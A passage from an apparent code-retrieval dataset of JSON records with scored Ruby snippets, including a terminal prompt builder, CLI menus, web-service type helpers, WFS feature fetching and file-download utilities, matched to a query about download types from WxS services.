Time\",\r\n code: '\\A ',\r\n output: \"16:35\"\r\n }\r\n\r\n time_12hr = {\r\n number: 3,\r\n name: \"12hr Time\",\r\n code: '\\@ ',\r\n output: \"04:35 PM\"\r\n }\r\n\r\n # Hashes for color_2 array\r\n default = {\r\n number: 1,\r\n name: \"Default (White)\",\r\n code: \"\"\r\n }\r\n\r\n red = {\r\n number: 2,\r\n name: \"Red\".colorize(:red),\r\n code: '\\e[31m '\r\n }\r\n\r\n green = {\r\n number: 3,\r\n name: \"Green\".colorize(:green),\r\n code: '\\e[32m '\r\n }\r\n\r\n yellow = {\r\n number: 4,\r\n name: \"Yellow\".colorize(:yellow),\r\n code: '\\e[33m '\r\n }\r\n\r\n blue = {\r\n number: 5,\r\n name: \"Blue\".colorize(:blue),\r\n code: '\\e[34m '\r\n }\r\n\r\n magenta = {\r\n number: 6,\r\n name: \"Magenta\".colorize(:magenta),\r\n code: '\\e[35m '\r\n }\r\n\r\n cyan = {\r\n number: 7,\r\n name: \"Cyan\".colorize(:cyan),\r\n code: '\\e[36m '\r\n }\r\n\r\n # Array for option hashes\r\n basic_element_2 = [username, hostname, shell, shell_version, path_to_current_dir, current_dir]\r\n date_2 = [date, time_24hr, time_12hr]\r\n color_2 = [default, red, green, yellow, blue, magenta, cyan]\r\n\r\n # Start of main codes\r\n selection_1 = 0\r\n system (\"clear\")\r\n until selection_1 == 6 do\r\n puts \"Your new C-Promptz™ is going to look like this...\"\r\n\r\n table = Terminal::Table.new do |t|\r\n t.add_row []\r\n t.add_row [\"#{output.join}\"]\r\n t.add_row []\r\n t.style = {:width => 100, :padding_left => 4}\r\n end\r\n puts table\r\n #puts \"\"\"Terminal C-Promptz™ code:\r\n #{\"----------------------------------------------------------\".colorize(:red)}\r\n #{terminal_code.join}\r\n #{\"----------------------------------------------------------\".colorize(:red)}\r\n #\"\"\"\r\n puts \" \"\r\n puts \"What do you want to add to your C-Promptz™ ? Pick a number!\"\r\n menu_1.each_with_index do |s, index|\r\n print \" \"\r\n print \"(#{index+1}) #{s}\"\r\n puts \" \"\r\n end\r\n print \"Your selection: \"\r\n selection_1 = gets.chomp.to_i\r\n puts divider\r\n \r\n if selection_1 == 1 # Insert basic element\r\n puts \"Please select the element you wants to add to your C-Promptz™.\"\r\n basic_element.each_with_index do |b, index|\r\n print \" \"\r\n print \"(#{index+1}) #{b}\"\r\n puts \" \"\r\n end\r\n print \"Your selection: \"\r\n selection_2 = gets.chomp.to_i\r\n basic_element_2.each do |key|\r\n if selection_2 == key[:number]\r\n output.push(key[:output])\r\n terminal_code.push(key[:code])\r\n end\r\n end\r\n puts divider\r\n if selection_2 == 7\r\n puts \">\" * 20\r\n elsif selection_2 <= basic_element_2.count\r\n puts \"Any colour preference?\"\r\n puts color_menu\r\n print \"Your selection: \"\r\n selection_3 = gets.chomp.to_i\r\n if selection_3 == 1\r\n output[-1] = output[-1].colorize(:White)\r\n elsif selection_3 == 2\r\n output[-1] = output[-1].colorize(:red)\r\n terminal_code.insert(terminal_code.count-1,'\\e[31m')\r\n elsif selection_3 == 3\r\n output[-1] = output[-1].colorize(:green)\r\n terminal_code.insert(terminal_code.count-1,'\\e[32m')\r\n elsif selection_3 == 4\r\n output[-1] = output[-1].colorize(:yellow)\r\n terminal_code.insert(terminal_code.count-1,'\\e[33m')\r\n elsif selection_3 == 5\r\n output[-1] = output[-1].colorize(:blue)\r\n terminal_code.insert(terminal_code.count-1,'\\e[34m')\r\n elsif selection_3 == 6\r\n output[-1] = output[-1].colorize(:magenta)\r\n terminal_code.insert(terminal_code.count-1,'\\e[35m')\r\n elsif selection_3 == 7\r\n output[-1] = output[-1].colorize(:cyan)\r\n terminal_code.insert(terminal_code.count-1,'\\e[36m')\r\n else\r\n puts \"Invalid selection. Please reselect!\"\r\n output.pop\r\n sleep 1\r\n end\r\n else\r\n puts \"Invalid selection. Please reselect!\"\r\n end\r\n system (\"clear\")\r\n\r\n elsif selection_1 == 2 # Insert date/time element\r\n puts \"Please select the element you wants to add to your C-Promptz™.\"\r\n time_element.each_with_index do |t, index|\r\n print \" \"\r\n print \"(#{index+1}) #{t}\"\r\n puts \" \"\r\n end\r\n print \"Your selection: \"\r\n selection_2 = gets.chomp.to_i\r\n date_2.each do |key|\r\n if selection_2 == key[:number]\r\n output.push(key[:output])\r\n terminal_code.push(key[:code])\r\n end\r\n end\r\n if selection_2 == 4 # Exit menu\r\n puts \">\" * 20\r\n elsif selection_2 <= date_2.count \r\n puts \"Any colour preference?\"\r\n puts color_menu\r\n print \"Your selection: \"\r\n selection_3 = gets.chomp.to_i\r\n if selection_3 == 1\r\n output[-1] = output[-1].colorize(:White)\r\n elsif selection_3 == 2\r\n output[-1] = output[-1].colorize(:red)\r\n terminal_code.insert(terminal_code.count-1,'\\e[31m')\r\n elsif selection_3 == 3\r\n output[-1] = output[-1].colorize(:green)\r\n terminal_code.insert(terminal_code.count-1,'\\e[32m')\r\n elsif selection_3 == 4\r\n output[-1] = output[-1].colorize(:yellow)\r\n terminal_code.insert(terminal_code.count-1,'\\e[33m')\r\n elsif selection_3 == 5\r\n output[-1] = output[-1].colorize(:blue)\r\n terminal_code.insert(terminal_code.count-1,'\\e[34m')\r\n elsif selection_3 == 6\r\n output[-1] = output[-1].colorize(:magenta)\r\n terminal_code.insert(terminal_code.count-1,'\\e[35m')\r\n elsif selection_3 == 7\r\n output[-1] = output[-1].colorize(:cyan)\r\n terminal_code.insert(terminal_code.count-1,'\\e[36m')\r\n else\r\n puts \"Invalid selection. Please reselect!\"\r\n output.pop\r\n sleep 1\r\n end\r\n else\r\n puts \"Invalid selection. Please reselect!\"\r\n end\r\n system (\"clear\")\r\n\r\n elsif selection_1 == 3 # Insert emoji\r\n puts 'Please select the element you wants to add to your C-Promptz™. To exit, input \"x\".'\r\n emoji_menu.each_with_index do |e, index|\r\n print \" \"\r\n print \"(#{index+1}) #{e}\"\r\n puts \" \"\r\n end\r\n print \"Your selection: \"\r\n selection_2 = gets.chomp.to_i\r\n puts divider\r\n if selection_2 <= emojis.count && selection_2 > 0\r\n puts \"Which emoji are you after?\"\r\n emojis.each_with_index do |e, index|\r\n if selection_2 == (index + 1)\r\n e.each_with_index do |ee, index_1|\r\n print \" \"\r\n print \"(#{index_1+1}) #{ee}\"\r\n puts \" \"\r\n end\r\n end\r\n end\r\n print \"Your selection: \"\r\n selection_3 = gets.chomp.to_i\r\n output.push(emojis[selection_2-1][selection_3-1])\r\n terminal_code.push(emojis[selection_2-1][selection_3-1])\r\n elsif selection_2 == \"x\"\r\n puts \">\" * 20\r\n else\r\n puts \"Invalid selection. Please reselect!\"\r\n sleep 1\r\n end\r\n system (\"clear\")\r\n\r\n elsif selection_1 == 4 # Insert self-defined characters\r\n puts 'Please input the characters you wants to add to your C-Promptz™. To exit, put \"x\".'\r\n print \"Your input: \"\r\n selection_2 = gets.chomp\r\n if selection_2 != \"x\" # Exit menu if user put in \"x\"\r\n output.push(selection_2)\r\n terminal_code.push(selection_2)\r\n end\r\n system (\"clear\")\r\n \r\n elsif selection_1 == 5 # Function to remove current design - the only way to edit current design is to remove it and add what you want\r\n puts \"Which element do you want to remove?\"\r\n output.each_with_index do |o, index|\r\n puts \"(#{index+1}) #{o}\"\r\n end\r\n puts \"(x) Exit\"\r\n print \"Your selection: \"\r\n selection_2 = gets.chomp.to_i\r\n if selection_2 <= output.count && selection_2 > 0\r\n diff = terminal_code.count-output.count\r\n if remove_elements.count(terminal_code[selection_2-1+diff]) > 0\r\n terminal_code.delete_at(selection_2-1+diff)\r\n terminal_code.delete_at(selection_2-2+diff)\r\n else\r\n terminal_code.delete_at(selection_2-1+diff)\r\n end\r\n output.delete_at(selection_2-1)\r\n elsif selection_2 == \"x\"\r\n puts \">\" * 20\r\n else\r\n puts \"Invalid selection. Please reselect!\"\r\n end\r\n system (\"clear\")\r\n\r\n elsif selection_1 == 6 # Exit \"Build-Your-Own\" function\r\n if terminal_code.count > 0\r\n terminal_code.push('\\[\\e[m\\]') # Syntax text color white in default\r\n `echo 'PS1=\"#{terminal_code.join}\"' >>~/.bash_profile` # Designed terminal codes added into .bash_profile \r\n #system(\"source ~/.bash_profile\")\r\n puts \" \"\r\n 0.upto(2) do\r\n STDOUT.print \"\\rC-Promptz™ is baking...!\"\r\n sleep 0.4\r\n STDOUT.print \"\\r \" # Send return and six spaces\r\n sleep 0.4\r\n end\r\n puts \"\\rPlease refresh your terminal to use your updated C-Promptz™!\"\r\n puts \" \"\r\n sleep 1\r\n system(\"clear\")\r\n table = Terminal::Table.new do |t|\r\n t.add_row [\" \"]\r\n t.add_row [\"🔥 Certificate of Completion 🔥\".bold]\r\n t.add_row [\" \"]\r\n t.add_separator\r\n t.add_row [\" \"]\r\n t.add_row [\" \"]\r\n t.add_row [\"Congaratulations! You have completed a super cool C-Promptz™!\"]\r\n t.add_row [\" \"]\r\n t.add_row [\"C-Promptz™: [#{output.join}]\"]\r\n t.add_row [\" \"]\r\n t.add_row [\"You are now officially coolzz!\"]\r\n t.add_row [\" \"]\r\n t.style = {:width => 130, :alignment => :center}\r\n end\r\n\r\n puts \" \"\r\n puts table\r\n puts \"\"\"To use your brand new C-Promptz™, simply do one of the below:\r\n (1) Copy and paste 'source ~/.bash_profile' in your terminal\r\n (2) Close and re-open your terminal\"\"\" \r\n sleep 2\r\n end\r\n puts \" \"\r\n puts \"Thanks for using C-Promptz™ - your most trusted Prompt Builder!\"\r\n puts \" \"\r\n else\r\n system(\"clear\")\r\n puts \"Invalid selection. Please reselect!\"\r\n puts \" \"\r\n end\r\n end\r\nend", "title": "" }, { "docid": "d009c11013b1eda9e4b19a22ec169df2", "score": "0.6040837", "text": "def sub_menu\n puts \"\\n***********************************************\".colorize(:magenta).blink\n puts \"Type the following letters to do...\".colorize(:blue)\n puts \"-----------------------------------------------\".colorize(:cyan).bold\n puts \"s = Save Recipe to My Favorites\".colorize(:blue)\n puts \"r = Rate Recipe\".colorize(:blue)\n puts \"a = See Average Recipe Rating\".colorize(:blue)\n puts \"o = Open Link to See the Steps for This Recipe\".colorize(:blue)\n puts \"m = Back to Main Menu\".colorize(:blue)\n puts \"***********************************************\\n \".colorize(:magenta).blink\n end", "title": "" }, { "docid": "267bd90735634139b0890d6670aa714d", "score": "0.60382575", "text": "def main_menu_choose_option(user_input)\n case user_input\n when 'trains'\n manage_trains\n when 'routes'\n manage_routes\n when 'stations'\n manage_stations\n when 'cars'\n manage_cars\n else\n @ui.wrong_input_msg\n end\n end", "title": "" } ]
0b5fe6093a630f845adc18f599deca28
Generated download types from wxs services
[ { "docid": "c410861426dbc6fc18141207cf8f30d3", "score": "0.66348135", "text": "def download_types\n downloads_by_format\n end", "title": "" } ]
[ { "docid": "42cdd7e2b8ab74dd293270a33602f162", "score": "0.6440325", "text": "def service_types_generated\n # We generate full text and holdings types, right now.\n types = [ ServiceTypeValue[:fulltext], ServiceTypeValue[:holding], ServiceTypeValue[:table_of_contents] ]\n \n return types\n end", "title": "" }, { "docid": "a41026b998aa5003d84b08fa03edeb05", "score": "0.5957617", "text": "def service_types_generated\n service_strings = []\n service_strings.concat( @services_of_interest.values() )\n service_strings.concat( @extra_targets_of_interest.values() )\n service_strings.uniq!\n\n return service_strings.collect { |s| ServiceTypeValue[s] }\n end", "title": "" }, { "docid": "3106263a595fa6e5809a79d831a3d788", "score": "0.5932236", "text": "def service_types\n types = self.service_versions.collect{|sv| sv.service_versionified.service_type_name}.uniq\n types << \"Soaplab\" unless self.soaplab_server.nil?\n return types\n end", "title": "" }, { "docid": "4adf1e657e423a2e8139cdbed877f649", "score": "0.5745221", "text": "def getServiceTypes( )\n\n # parameter TypeCheck\n\n # BIMserver request\n request( { } )\n end", "title": "" }, { "docid": "6881cac922dfa43363e2518980ec3ce2", "score": "0.5735028", "text": "def getServiceTypes\n\t\treturn {\t\"None\" => \"none\",\n\t\t\t\t\t\t\t\"HTTP\" => \"http\",\n\t\t\t\t\t\t\t\"SMTP\" => \"smtp\",\n\t\t\t\t\t\t\t\"IMAP\" => \"imap\",\n\t\t\t\t\t\t\t\"POP3\" => \"pop3\",\n\t\t\t\t\t\t\t\"SSH\" => \"ssh\",\n\t\t\t\t\t\t\t\"FTP\" => \"ftp\" }\n\tend", "title": "" }, { "docid": "ab1a45604bed5ce36aa2dc440f321714", "score": "0.5716165", "text": "def vector_download_formats\n return unless wms.present? && wfs.present?\n {\n shapefile: wfs.to_hash,\n kmz: wms.to_hash,\n geojson: wfs.to_hash\n }\n end", "title": "" }, { "docid": "6061ab388a61fa6cdecb59ac89ca6fc1", "score": "0.56498855", "text": "def make_files_for_download(records, type)\n \n end", "title": "" }, { "docid": "d3103b9cfdec51c7b9ed75b18e8a4aa0", "score": "0.56426316", "text": "def types\n doc = @http.get(\"templates/types?\")\n return doc\n end", "title": "" }, { "docid": "33ca6e6b8efe4a55a4b2a0322abe9649", "score": "0.5536738", "text": "def get_asset_doc_types\n @client.raw('get', '/content/assets/docTypes')\n end", "title": "" }, { "docid": "3b5115ecd508a461b97b9fbff3c73d10", "score": "0.55281425", "text": "def types ext\n case ext\n when \".xsd\"\n \"schema\"\n when \".xsl\"\n \"stylesheet\"\n when \".dtd\"\n \"dtd\"\n when \".css\"\n \"cascading stylesheet\"\n when \".js\"\n \"javascript\"\n else\n ext\n end\n end", "title": "" }, { "docid": "dca31cbb7e2aa2c01a58dd05886b0fb3", "score": "0.5524778", "text": "def service\n :ia_download\n end", "title": "" }, { "docid": "ca207f9ab80f78bad4939b03c5c8823f", "score": "0.55164206", "text": "def type_uris; end", "title": "" }, { "docid": "ca207f9ab80f78bad4939b03c5c8823f", "score": "0.55164206", "text": "def type_uris; end", "title": "" }, { "docid": "0bd834de25735a0e2f75319ce06084c3", "score": "0.5469364", "text": "def bulk_download_type\n # put bundled files in a sub-directory named after the bundle parent's ID so relationship is maintained\n if self.is_bundled?\n bp = self.bundle_parent\n \"#{bp.simplified_file_type}/#{bp.id}\"\n else\n self.simplified_file_type\n end\n end", "title": "" }, { "docid": "c6a9cc84f02665b386cb2f0964d95873", "score": "0.5384952", "text": "def bulk_download_type\n # put bundled files in a sub-directory named after the bundle parent's ID so relationship is maintained\n # make sure bundle_parent is a StudyFile (can be ClusterGroup for coordinate label files)\n if self.is_bundled? && self.bundle_parent.is_a?(StudyFile)\n bp = self.bundle_parent\n \"#{bp.simplified_file_type}/#{bp.id}\"\n else\n self.simplified_file_type\n end\n end", "title": "" }, { "docid": "948b0477c67e4437bae6c9e5411af5e1", "score": "0.5370135", "text": "def add_types\n rdf_type << DogBiscuits::Vocab::OaisArchivematica.DisseminationInformationPackage if dip?\n rdf_type << DogBiscuits::Vocab::OaisArchivematica.ArchivalInformationPackage if aip?\n end", "title": "" }, { "docid": "5ac61cdcc50d6648020a3db929770632", "score": "0.53652704", "text": "def types\n %i[web data ingest]\n end", "title": "" }, { "docid": "87128c8eeee85c6331cef8417920e3c3", "score": "0.5358784", "text": "def content_types\n c_types = base_content_types\n workbook.drawings.each do |drawing|\n c_types << Axlsx::Override.new(PartName: \"/xl/#{drawing.pn}\",\n ContentType: DRAWING_CT)\n end\n\n workbook.charts.each do |chart|\n c_types << Axlsx::Override.new(PartName: \"/xl/#{chart.pn}\",\n ContentType: CHART_CT)\n end\n\n workbook.tables.each do |table|\n c_types << Axlsx::Override.new(PartName: \"/xl/#{table.pn}\",\n ContentType: TABLE_CT)\n end\n\n workbook.pivot_tables.each do |pivot_table|\n c_types << Axlsx::Override.new(PartName: \"/xl/#{pivot_table.pn}\",\n ContentType: PIVOT_TABLE_CT)\n c_types << Axlsx::Override.new(PartName: \"/xl/#{pivot_table.cache_definition.pn}\",\n ContentType: PIVOT_TABLE_CACHE_DEFINITION_CT)\n end\n\n workbook.comments.each do |comment|\n unless comment.empty?\n c_types << Axlsx::Override.new(PartName: \"/xl/#{comment.pn}\",\n ContentType: COMMENT_CT)\n end\n end\n\n unless workbook.comments.empty?\n c_types << Axlsx::Default.new(Extension: \"vml\", ContentType: VML_DRAWING_CT)\n end\n\n workbook.worksheets.each do |sheet|\n c_types << Axlsx::Override.new(PartName: \"/xl/#{sheet.pn}\",\n ContentType: WORKSHEET_CT)\n end\n exts = workbook.images.map { |image| image.extname.downcase }\n exts.uniq.each do |ext|\n ct = if JPEG_EXS.include?(ext)\n JPEG_CT\n elsif ext == GIF_EX\n GIF_CT\n elsif ext == PNG_EX\n PNG_CT\n end\n c_types << Axlsx::Default.new(ContentType: ct, Extension: ext)\n end\n if use_shared_strings\n c_types << Axlsx::Override.new(PartName: \"/xl/#{SHARED_STRINGS_PN}\",\n ContentType: SHARED_STRINGS_CT)\n end\n c_types\n end", "title": "" }, { "docid": "d9ac9e31ce76acb5e43f71244e5875ad", "score": "0.53530216", "text": "def payment_types\n url = \"#{@url}reference/payment-types\"\n make_request(url)\n end", "title": "" }, { "docid": "be12654c5c95f85ae88231f90b35abdd", "score": "0.53408957", "text": "def export_by_type_and_name(type, name)\n return @http.get_xml(\"templates/export?type=#{type}&name=#{name}\")\n end", "title": "" }, { "docid": "c0a48a2de4baeee06bb169293a1d3dec", "score": "0.5328572", "text": "def find_generated_types( supported_formats )\n\t\treturn supported_formats.\n\t\t\tselect {|type, op| op.can_write? }.\n\t\t\tcollect {|type, op| Strelka::HTTPRequest::MediaType.parse(type) }\n\tend", "title": "" }, { "docid": "65de4954ff0aaf9c6ff073de954c89bc", "score": "0.53152555", "text": "def requested_types; end", "title": "" }, { "docid": "a3c6184f185e5e3f8ba0b28c32daa4d4", "score": "0.53105736", "text": "def can_generate_service_types\n if ServiceStore.service_definition_for( self.service_id ) \n service.service_types_generated\n else\n []\n end\n end", "title": "" }, { "docid": "11c530c8ad8e440b9618d25e803b89b2", "score": "0.52984107", "text": "def order_types\n url = \"#{@url}reference/order-types\"\n make_request(url)\n end", "title": "" }, { "docid": "6c756dc648ffa919ff1768b517738a87", "score": "0.529233", "text": "def service_type_name\n \"SOAP\"\n end", "title": "" }, { "docid": "624f4549055a0f15230347b43f00e76d", "score": "0.5291021", "text": "def extension_types(location = @location, publisher = @publisher)\n check_for_location_and_publisher(location, publisher)\n\n url = build_url(location, 'publishers', publisher, 'artifacttypes', 'vmextension', 'types')\n\n response = rest_get(url)\n JSON.parse(response).map { |hash| Azure::Armrest::ExtensionType.new(hash) }\n end", "title": "" }, { "docid": "044b4e70e3656c010477ead7e9fa83c2", "score": "0.52890813", "text": "def downloadByTypes( roids, schema, classNames, serializerOid, includeAllSubtypes, useObjectIDM, deep, sync )\n\n # parameter TypeCheck\n #BIMserverAPI::TypeCheck::Set( roids )\n #BIMserverAPI::TypeCheck::String( schema )\n #BIMserverAPI::TypeCheck::Set( classNames )\n #BIMserverAPI::TypeCheck::Long( serializerOid )\n #BIMserverAPI::TypeCheck::Boolean( includeAllSubtypes )\n #BIMserverAPI::TypeCheck::Boolean( useObjectIDM )\n #BIMserverAPI::TypeCheck::Boolean( deep )\n #BIMserverAPI::TypeCheck::Boolean( sync )\n\n # BIMserver request\n request( { roids: roids, schema: schema, classNames: classNames, serializerOid: serializerOid, includeAllSubtypes: includeAllSubtypes, useObjectIDM: useObjectIDM, deep: deep, sync: sync } )\n end", "title": "" }, { "docid": "a9b04968da4ccad144e0d843ae7660e3", "score": "0.5281444", "text": "def downloads_by_format\n case format\n when \"Shapefile\"\n vector_download_formats\n when \"GeoTIFF\"\n geotiff_download_formats\n when \"ArcGRID\"\n arcgrid_download_formats\n end\n end", "title": "" }, { "docid": "47cda385dfe86c7ad06da74fabd1924b", "score": "0.5267571", "text": "def rest_list_types()\n rest_type_interface.list({max:10000, creatable:true})[rest_type_list_key] # .reject {|it| it['code'] == 'nsx-t'}\n end", "title": "" }, { "docid": "604d956192a14c36227d5bc541caae02", "score": "0.52637535", "text": "def generate_files\n require 'wsdl/soap/wsdl2ruby'\n\n wsdl2ruby = WSDL::SOAP::WSDL2Ruby.new\n wsdl2ruby.logger = $LOG if $LOG\n wsdl2ruby.location = wsdl_path\n wsdl2ruby.basedir = wsdl_api_dir\n\n wsdl2ruby.opt.merge!({\n 'classdef' => module_name,\n 'module_path' => module_name,\n 'mapping_registry' => nil,\n 'driver' => nil,\n 'client_skelton' => nil,\n })\n\n wsdl2ruby.run\n\n raise ClassesFailedToGenerate unless files_exist?\n end", "title": "" }, { "docid": "bf3522ab44b1dd8cb54fee50decf5317", "score": "0.5251354", "text": "def download_files(files_url)\n path = files_url.gsub(/^https:\\/\\/api\\.hellosign\\.com\\/v\\d+/,'')\n if path =~ /^\\/transmission/\n type = \"pdf\"\n else\n type = \"zip\"\n path = \"#{path}?file_type=#{type}\"\n end\n puts \"Path #{path}\"\n response = client.get(path)\n # puts \"Response #{response.class}\"\n # puts \"Response #{response[0,100]}\"\n return response, type\n end", "title": "" }, { "docid": "0632665358c0002ad68403c8a963b5db", "score": "0.524332", "text": "def description\n \"Convert all NetSvc to the appropriate Server types\"\nend", "title": "" }, { "docid": "eea866b714bf95fe3f72e78c839e5ab4", "score": "0.5240417", "text": "def _generate_wsdl\n\n @map = self.class.soap_actions\n @namespace = soap_config.namespace\n @name = controller_path.gsub('/', '_')\n\n render :template => \"wash_out/#{soap_config.wsdl_style}/wsdl\", :layout => false,\n :content_type => 'text/xml'\n end", "title": "" }, { "docid": "a6775af7d864d5450e42a1a11cb67ff0", "score": "0.523597", "text": "def wfs2_features(map, source, options)\n url = source[\"url\"]\n type_name = options[\"name\"]\n per_page = [ *options[\"per-page\"], *source[\"per-page\"], 500 ].min\n headers = source[\"headers\"]\n base_query = { \"service\" => \"wfs\", \"version\" => \"2.0.0\" }\n \n query = base_query.merge(\"request\" => \"DescribeFeatureType\", \"typeName\" => type_name).to_query\n xml = WFS.get_xml URI.parse(\"#{url}?#{query}\"), headers\n namespace, type = xml.elements[\"xsd:schema/xsd:element[@name='#{type_name}']/@type\"].value.split ?:\n names = xml.elements.each(\"xsd:schema/[@name='#{type}']//xsd:element[@name][starts-with(@type,'xsd:')]/@name\").map(&:value)\n types = xml.elements.each(\"xsd:schema/[@name='#{type}']//xsd:element[@name][starts-with(@type,'xsd:')]/@type\").map(&:value)\n methods = names.zip(types).map do |name, type|\n method = case type\n when *%w[xsd:float xsd:double xsd:decimal] then :to_f\n when *%w[xsd:int xsd:short] then :to_i\n else :to_s\n end\n { name => method }\n end.inject({}, &:merge)\n \n geometry_name = xml.elements[\"xsd:schema/[@name='#{type}']//xsd:element[@name][starts-with(@type,'gml:')]/@name\"].value\n geometry_type = xml.elements[\"xsd:schema/[@name='#{type}']//xsd:element[@name][starts-with(@type,'gml:')]/@type\"].value\n dimension = case geometry_type\n when *%w[gml:PointPropertyType gml:MultiPointPropertyType] then 0\n when *%w[gml:CurvePropertyType gml:MultiCurvePropertyType] then 1\n when *%w[gml:SurfacePropertyType gml:MultiSurfacePropertyType] then 2\n else raise BadLayerError.new \"unsupported geometry type '#{geometry_type}'\"\n end\n \n query = base_query.merge(\"request\" => \"GetCapabilities\").to_query\n xml = WFS.get_xml URI.parse(\"#{url}?#{query}\"), headers\n default_crs = xml.elements[\"wfs:WFS_Capabilities/FeatureTypeList/FeatureType[Name[text()='#{namespace}:#{type_name}']]/DefaultCRS\"].text\n wkid = default_crs.match(/EPSG::(\\d+)$/)[1]\n projection = Projection.new \"epsg:#{wkid}\"\n \n points = map.projection.reproject_to(projection, map.coord_corners)\n polygon = [ *points, points.first ].map { |corner| corner.reverse.join ?\\s }.join ?,\n bounds_filter = \"INTERSECTS(#{geometry_name},POLYGON((#{polygon})))\"\n \n filters = [ bounds_filter, *options[\"filter\"], *options[\"where\"] ]\n names &= [ *options[\"category\"], *options[\"rotate\"], *options[\"label\"] ]\n get_query = {\n \"request\" => \"GetFeature\",\n \"typeNames\" => type_name,\n \"count\" => per_page,\n \"cql_filter\" => \"(#{filters.join ') AND ('})\"\n }\n \n Enumerator.new do |yielder|\n loop do\n query = base_query.merge(get_query).to_query\n xml = WFS.get_xml URI.parse(\"#{url}?#{query}\"), headers\n xml.elements.each(\"wfs:FeatureCollection/wfs:member/#{namespace}:#{type_name}\") do |member|\n elements = names.map do |name|\n member.elements[\"#{namespace}:#{name}\"]\n end\n values = methods.values_at(*names).zip(elements).map do |method, element|\n element ? element.attributes[\"xsi:nil\"] == \"true\" ? nil : element.text ? element.text.send(method) : \"\" : nil\n end\n attributes = Hash[names.zip values]\n\n data = case dimension\n when 0\n member.elements.each(\".//gml:pos/text()\").map(&:to_s).map do |string|\n string.split.map(&:to_f).reverse\n end\n when 1, 2\n member.elements.each(\".//gml:posList/text()\").map(&:to_s).map do |string|\n string.split.map(&:to_f).each_slice(2).map(&:reverse)\n end\n end.map do |point_or_points|\n map.reproject_from projection, point_or_points\n end\n yielder << [ dimension, data, attributes ]\n end.length == per_page || break\n index += per_page\n end\n end\n end", "title": "" }, { "docid": "045321ad79338c095d359c2fe68442f8", "score": "0.5235894", "text": "def download_list(package_names = nil, type = \"all\")\n raise ArgumentError, \"Don't reckonize '#{type}. Must be one of #{ALLOWED_TYPES.join(\", \")}.\" unless ALLOWED_TYPES.include?(type)\n package_names = [package_names] if package_names.is_a?(String)\n dls = parse_packages(self.class.get(\"/get/downloads/\"+type+\"/list\"))\n if package_names.nil?\n return dls\n else\n return dls.delete_if {|name, package| not package_names.include?(name)}\n end\n end", "title": "" }, { "docid": "0b2008ac161eda1ef9fb2b662d73b7c5", "score": "0.5235062", "text": "def _generate_wsdl\n @map = self.class.soap_actions\n @namespace = soap_config.namespace\n @name = controller_path\n @service_name = soap_config.service_name\n\n render :template => \"wash_out/#{soap_config.wsdl_style}/wsdl\", :layout => false,\n :content_type => 'text/xml'\n end", "title": "" }, { "docid": "a856ee90a6da1aaf1edb9ffbc8863a19", "score": "0.5233111", "text": "def scsb_item_types\n %w[rcpshare]\nend", "title": "" }, { "docid": "d1d590cd5c3bc6019f8be3efb62fd230", "score": "0.5231311", "text": "def get_retrieve_body(options)\n types_body = \"\"\n if ! options[:package].nil?\n require 'rexml/document'\n xml_data = File.read(options[:package])\n doc = REXML::Document.new(xml_data)\n types_body = \"\"\n doc.elements.each('Package/types') do |el|\n types_body << \"<types>\"\n types_body << \"<name>#{el.elements[\"name\"].text}</name>\"\n el.each_element do |member|\n if member.to_s.include? \"<members>\"\n types_body << \"<members>#{member.text}</members>\"\n end\n end\n types_body << \"</types>\"\n end\n return \"<RetrieveRequest><unpackaged>#{types_body}</unpackaged><apiVersion>#{MM_API_VERSION}</apiVersion></RetrieveRequest>\"\n else \n if ! options[:path].nil? #grab path only\n path = options[:path]\n ext = File.extname(path).gsub(\".\",\"\") #=> \"cls\"\n mt = MavensMate::FileFactory.get_meta_type_by_suffix(ext)\n file_name_no_ext = File.basename(path, File.extname(path)) #=> \"myclass\" \n types_body << \"<types><members>#{file_name_no_ext}</members><name>#{mt[:xml_name]}</name></types>\"\n elsif ! options[:meta_types].nil? #custom built project\t\n \t\t\toptions[:meta_types].each { |meta_type, selected_children| \n \t\t\t types_body << \"<types>\"\n \t\t\t if selected_children.length == 0\n \t\t\t types_body << \"<members>*</members>\"\n \t\t\t else\n \t\t\t selected_children.each { |child| \n \t\t\t types_body << \"<members>#{child}</members>\"\n \t\t\t }\n \t\t\t end\n \t\t\t types_body << \"<name>\"+meta_type+\"</name>\"\n \t\t\t types_body << \"</types>\"\n \t\t\t} \t\t\t\n else #grab from default package\n PACKAGE_TYPES.each { |type| \n types_body << \"<types><members>*</members><name>\"+type+\"</name></types>\"\n }\n end \n return \"<RetrieveRequest><unpackaged>#{types_body}</unpackaged><apiVersion>#{MM_API_VERSION}</apiVersion></RetrieveRequest>\"\n end\n end", "title": "" }, { "docid": "9b903d3ca9d3dbf7f7dfd897316a0952", "score": "0.5215065", "text": "def _scrape_types doc\n types = doc.css'select#ctl00_ctl00_MainContent_Content_SearchControls_typeAddText'\n types.children.each { |type| @meta << type['value'] }\n end", "title": "" }, { "docid": "4fa94ce0a7d565cf4b6d2e7c6dfaf05b", "score": "0.5207949", "text": "def get_type(type, count)\n get_type = {}\n idx = 1\n while idx < count\n get_type[idx] = HTTParty.get(\"http://swapi.co/api/#{type}/#{idx}\").parsed_response\n idx += 1\n end\n get_type\n end", "title": "" }, { "docid": "f0ea406f28f37f9fc3cefd52606aa2f4", "score": "0.52025795", "text": "def downloads\n @downloads ||= ApiFactory.new 'Repos::Downloads'\n end", "title": "" }, { "docid": "bda4abf61fc190e2a3bd15807f35ec9d", "score": "0.518242", "text": "def fee_types\n @client.make_request :get, settings_path('fee-types')\n end", "title": "" }, { "docid": "f3be61ff9146cd9729f13573a8b4660e", "score": "0.51810163", "text": "def pp_service_type( mt_request_service_type )\n if mt_request_service_type.kind_of? MaintenanceRequest\n mt_request_service_type = mt_request_service_type.service_type\n end\n return icon_service_type(mt_request_service_type) + loc.mt_req_service_type( mt_request_service_type);\n end", "title": "" }, { "docid": "4f88ba097a2a4f332801f33aab412e2d", "score": "0.515569", "text": "def get_wsdl_file_name(version, service)\n File.join($WSDLDIR, version.to_s, service.to_s) + '.wsdl'\nend", "title": "" }, { "docid": "e0a54bd2a66ed360244459a98634b80a", "score": "0.5144079", "text": "def download_fun(filetype)\n collection = case filetype.to_sym\n when :attribute\n raise Errors::InternalError, \"downloading attribute files is not yet supported: https://github.com/reset/chozo/issues/17\"\n when :definition; method(:definitions)\n when :file; method(:files)\n when :library; method(:libraries)\n when :provider; method(:providers)\n when :recipe; method(:recipes)\n when :resource; method(:resources)\n when :root_file; method(:root_files)\n when :template; method(:templates)\n else\n raise Errors::UnknownCookbookFileType.new(filetype)\n end\n\n ->(target, destination) {\n files = collection.call # JW: always chaining .call.find results in a nil value. WHY?\n file = files.find { |f| f[:name] == target }\n return nil if 